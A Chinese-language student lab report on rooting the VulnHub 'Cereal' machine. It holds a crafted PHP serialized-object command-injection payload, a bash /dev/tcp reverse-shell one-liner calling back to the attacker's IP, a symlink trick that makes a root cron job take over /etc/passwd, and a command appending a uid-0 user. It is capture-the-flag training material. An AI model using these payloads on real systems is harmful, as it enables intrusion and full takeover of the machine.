网络攻防实战 第十次实验

邮箱:keekkewy@qq.com

2022年11月26日

靶机链接:https://vulnhub.com/entry/cereal-1,703/

一、实验目的

获取靶机 root 权限和一个 root flag。

我们将使用以下攻击手段:

  • 主机发现、端口扫描;
  • 隐藏路径爆破;
  • 域名绑定 IP;
  • 隐藏域名爆破;
  • 隐藏文件爆破;
  • 解析 PHP 对象序列并进行命令注入;
  • 反弹 shell;
  • 利用 pspy 工具查看靶机上运行的所有进程;
  • 通过链接文件利用靶机漏洞;
  • 自定义 root 用户;

二、实验内容

kali: 10.0.2.15

靶机: 10.0.2.17

0x00. 准备工作

  1. 获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:

    1
    2
    sudo arp-scan -I eth0 -l
    sudo nmap -p- 10.0.2.17
    image-20221124223623886

    发现开启了许多端口,经过对各个端口进行简单尝试之后。考虑从 80 端口寻找突破口。

  2. 访问 80 端口发现是一个 Apache 的默认页面,查看源码也并没有直接可利用的信息:

    image-20221124224018467
  3. 尝试进行隐藏路径爆破:

    1
    dirsearch -u http://10.0.2.17
    image-20221124224804390
  4. 访问 http://10.0.2.17/blog,发现了一个没有样式的页面,疑似与某一域名有关:

    image-20221124225803901

    同时发现该网页是由 WordPress 支持的。

    • 技巧:访问网页时出现卡顿,然后看到没有加载样式的网页,可推测是 CSS 加载失败,进而寻找是否需要将某一个域名的 IP 加入 hosts 文件中。
  5. 对 /blog 路径进行进一步的路径爆破:

    1
    dirsearch -u http://10.0.2.17/blog/
    image-20221124230403083

    发现目录 wp-admin,并且发现该目录被重定向到了我们刚才发现的那个域名。

  6. 尝试在 hosts 文件中加入记录 10.0.2.17 cereal.ctf 将该域名与靶机的 IP 地址对应。

    1
    2
    3
    /etc/hosts:
    ...
    10.0.2.17 cereal.ctf
  7. 重新访问 blog 页面,发现成功加载了样式:

    image-20221124231004932
  8. 在 80 端口的 web 应用继续进行信息收集,未发现明显的有效信息。

  9. 尝试从 4441 端口(同样运行着一个 web 应用)继续寻找突破口:

    image-20221125121314821

    直接访问发现只有一行文本内容。

0x01. 服务器域名爆破

  1. 联想到某些服务器可能会根据 HTTP 请求中 HOST 头的不同,为用户返回不同的页面。尝试使用 gobuster 对靶机 44441 端口进行域名爆破:

    1
    gobuster vhost -u http://cereal.ctf:44441 --append-domain -w fierce_hostlist.txt
    • 字典文件在 kali 上的路径为:/usr/share/amass/wordlists/fierce_hostlist.txt
    image-20221125154012372

    成功扫描出一个域名:secure.cereal.ctf

  2. 将该域名与靶机 IP 关联并添加记录到 kali 的 host 文件中,浏览器访问 http://secure.cereal.ctf:44441/

    image-20221125154405285
  3. 发现当前页面可以对指定的 IP 进行 ping 操作,输入 kali 本机的 IP,查看结果:

    image-20221125162041920

    发现确实执行了 ping 操作,查看结果发现与系统命令中的 ping 操作返回结果格式相似,推测此处调用了系统指令,尝试进行命令注入。

0x02. 命令注入

  1. 尝试直接注入未果,使用 burp suite 拦截当前页面点击 ping 按钮之后的请求:

    image-20221125162519586

    发现请求体比较可疑。

  2. 在 burp suite 中选中请求体中 obj 字段的值,进行解码:

    image-20221125162824732 image-20221125162901663

    得到了解码结果,猜测是一个经过 php 序列化编码之后的对象数据格式。在请求头中的数据已经进行了序列化,可以推测该编码操作是网页中的脚本代码负责完成的。

  3. 查看相关的网页源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <script>
    function submit_form() {
    var object = serialize({ipAddress: document.forms["ipform"].ip.value});
    object = object.substr(object.indexOf("{"),object.length);
    object = "O:8:\"pingTest\":1:" + object;
    document.forms["ipform"].obj.value = object;
    document.getElementById('ipform').submit();
    }
    </script>

    但是由于不知道服务器程序对该对象序列的处理流程,无法判断出直接有效的注入方式。联想到 blog 页面提示“尝试从备份中恢复”,猜测靶机上可能存在服务程序的备份文件,尝试通过隐藏文件爆破进行寻找。

    • “We are in the process of restoring from our backups”

      image-20221125171732769

0x03. 隐藏文件爆破

  1. 使用 kali 自带的 DirBuster 工具进行爆破:

    image-20221125165830104

    最终发现路径:/back_en

  2. 继续对 /back_en 下的文件进行爆破,由于是备份文件,猜测文件名后缀为 .bak

    image-20221126113550850 image-20221126113421704

    发现备份文件 index.php.bak

  3. 将查找到的备份文件下载到 kali:

    1
    wget http://secure.cereal.ctf:44441/back_en/index.php.bak

    查看内容猜测是 ping 页面的后台程序源码,并找到与 ping 功能相关的代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    class pingTest {
    public $ipAddress = "127.0.0.1";
    public $isValid = False;
    public $output = "";

    function validate() {
    // 如果当前对象中的 isValid 值不为 True
    if (!$this->isValid) {
    // 进行了某种过滤
    if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
    {
    // 测试通过才会执行代码
    $this->isValid = True;
    }
    }
    $this->ping();
    }

    public function ping()
    {
    if ($this->isValid) {
    // 指令的执行方式
    $this->output = shell_exec("ping -c 3 $this->ipAddress");
    }
    }
    }

    if (isset($_POST['obj'])) {
    $pingTest = unserialize(urldecode($_POST['obj']));
    } else {
    $pingTest = new pingTest;
    }

    $pingTest->validate();

    通过对上述代码进行简单的分析,我们发现只需要我们上传的序列化对象中的 isValid 值本身为 True,就可以绕过服务端对 ipAddress 字段合法性的检测,最终导致靶机执行我们所注入的命令。

0x04. 继续命令注入

  1. 简单学习 PHP 对象序列的格式之后,对此前解码获得的对象序列进行分析:

    O : 8 : "pingTest" : 1 : {s : 9 : "ipAddress"; s : 9 : "127.0.0.1"; }

    • o:object,表示对象类型;
    • 8:表示其后的字符串长度为8;
    • “pingTest”:表示当前对象为类 pingTest 的一个对象;
    • 1:表示其后包含1个该对象的属性,花括号中的内容即为对象的属性;
    • s:string,表示字符串类型;
    • 9:其后的字符串长度;
    • “ipAddress”:属性的名称;
    • “127.0.0.1”:”ipAddress”属性的值;

    参考:PHP序列化和反序列化

  2. 可见请求体中发送给服务器的对象仅包含了 ipAddress 这个一个属性,为了绕过服务端的检测,需要添加 isValid 属性且将其赋值为 True。构造对象序列如下:

    O:8:"pingTest":2:{s:9:"ipAddress";s:9:"127.0.0.1";s:7:"isValid";b:1;}

    • 加入属性 s:7:"isValid";b:1;

    其中,分析服务端代码得知,我们可以将需要注入的命令包含在 ipAddress 的值中,最终修改序列如下:

    O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 & id";s:7:"isValid";b:1;}

  3. 在 burp suite 中用上述注入序列替换原始的对象序列,编码后发送:

    image-20221125211946453
  4. 发现除了 ping 的结果,我们还收到了注入命令的执行结果:

    image-20221125212053362
  5. 尝试使用如下命令获取反弹 shell:

    1
    bash -i >& /dev/tcp/10.0.2.15/4444 0>&1

    构造注入序列:

    O:8:"pingTest":2:{s:9:"ipAddress";s:40:"&bash -i >& /dev/tcp/10.0.2.15/4444 0>&1";s:7:"isValid";b:1;}

    在 kali 上监听 4444 端口,执行注入命令,成功获取反弹 shell:

    image-20221125222124067

0x05. 本地漏洞提权

  1. 利用 pspy 工具检测靶机上正在运行的进程:

    image-20221126105419392

    发现存在一个以 root 身份运行某个 shell 脚本的进程。

  2. 查看该脚本内容;

    1
    chown rocky:apache /home/rocky/public_html/*

    发现是将 /home/rocky/public_html/* 目录下的所有文件所有者更改为当前用户,猜测若在该目录下创建一个 passwd 文件的链接文件,会导致脚本执行时将 passwd 文件的所有者一并更改为当前用户,从而获取对 passwd 文件的写入权限。

  3. 使用 ln 命令将 passwd 文件链接到该目录下:

    1
    ln -s /etc/passwd /home/rocky/public_html/111111
  4. 等待片刻后查看 passwd 文件的权限:

    1
    ls -l /etc/passwd

    -rwxrwxr-x. 1 root root 1549 May 29 2021 /etc/passwd

    发现文件权限成功被修改。

  5. 再次使用 实验八 中自定义 root 用户的方式,插入一条 root 权限的用户记录:

    1
    echo 'test123:$1$5zwm/pYB$109Okt6Ql.GcBYi/z16xT1:0:0:root:/root:/bin/bash' >> /etc/passwd
  6. 切换至该自定义用户,成功提权:

    image-20221126112046872

0x06. 最终的信息收集

  1. 尝试使用 ssh 以自定义 root 用户身份登入靶机:

    1
    ssh test123@10.0.2.17
  2. 成功登入后查看当前目录下的文件:

    image-20221126150151952
  3. 查看文件 proof.txt 得到 flag:1aeb5db4e979543cb807cfd90df77763

    image-20221126150320630
  4. 查看文件 listener.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    nc -k -l 139 &
    nc -k -l 445 &
    nc -k -l 11111 &
    nc -k -l 22222 &
    nc -k -l 22223 &
    nc -k -l 33333 &
    nc -k -l 33334 &
    nc -k -l 44444 &
    nc -k -l 55555 &
    nc -k -l 55551

    发现是一段 shell 脚本,通过 nc 命令监听了很多端口。

    推测这就是我们之前 nmap 扫描出来很多端口,但是无法确定其上所运行服务的原因——这些端口仅被监听,实际上并没有运行有效的服务。

五、实验结果

root 权限:

image-20221126112046872

四、总结

  • 本次实验靶机开发的端口很多,需要从扫描到的端口中寻找突破口。首先关注提供 web 应用的端口。
  • 浏览器访问 80 端口,未发现有效信息,进行路径爆破发现 /blog 路径,访问路径发现一个未加载样式的网页,并获得提示——靶机上存在某个服务端的备份文件。
  • /blog 路径进行进一步爆破,发现某些路径被重定向到了某个域名的子路径上,尝试在 kali 的 hosts 文件中将该域名与靶机 IP 绑定。再次访问 /blog 路径,发现成功加载了样式。
  • 浏览器访问靶机 44441 端口,发现没有有效信息。对该端口进行域名爆破,发现一个隐藏的域名,同样将该域名与靶机 IP 进行绑定。再次访问后,发现当前页面可以对用户输入的 IP 地址进行 ping 操作。联想到命令注入。
  • 简单尝试注入后未果,拦截 ping 操作时发往服务器的请求头。发现网页将用户输入的 IP 地址包装成了一个对象,并做了序列化操作。但由于不知道服务端解析对象的方式,故无法直接进行命令注入。
  • 联想到 80 端口 /blog 路径下的提示,尝试通过路径、文件爆破寻找靶机上的备份文件。
  • 找到备份文件后,下载至 kali 查看,推测是 ping 操作页面服务端的源码。根据该源码中的对象解析方式,构造注入对象的序列,实现合法性绕过以及命令的注入,最终成功获取反弹 shell。
  • 使用 pspy 工具查看靶机上运行的进程,找到一个以 root 身份运行的 shell 脚本进程。查看相关脚本,发现该脚本将指定目录下的所有文件的所有者更改为了反弹 shell 中的当前用户。
  • 尝试在该目录下建立 passwd 文件的链接,使该脚本更改 passwd 文件的所有者,最终获取对 passwd 文件的写入权限。
  • 使用与实验八相同的操作自定义一条 root 用户记录,并插入 passwd 文件。
  • 切换至自定义用户,完成提权!

ps:实验报告中只展示了成功的思路,但是在实际的渗透测试中,往往需要我们对多个漏洞点进行尝试,才能找到有效的突破口。